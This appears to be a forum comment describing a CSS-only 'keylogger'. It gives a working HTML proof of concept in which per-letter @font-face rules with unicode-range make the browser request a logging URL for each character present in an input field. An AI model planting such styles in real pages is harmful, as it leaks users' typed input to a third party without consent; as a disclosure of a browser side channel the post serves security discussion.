To some limited degree (you can detect presence, not position or number of occurences of character), you can do CSS only 'keylogging' even for non-reactive (sans JavaScript) input: you don't have to use attribute selector (which does't work without physical updates), but can exploit webfont with single letter `unicode-range` chunks. Posted it [1] to CrookedStyleSheets [2] some time ago:
<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log
[1] https://github.com/jbtronics/CrookedStyleSheets/issues/24
[2] https://news.ycombinator.com/item?id=16157773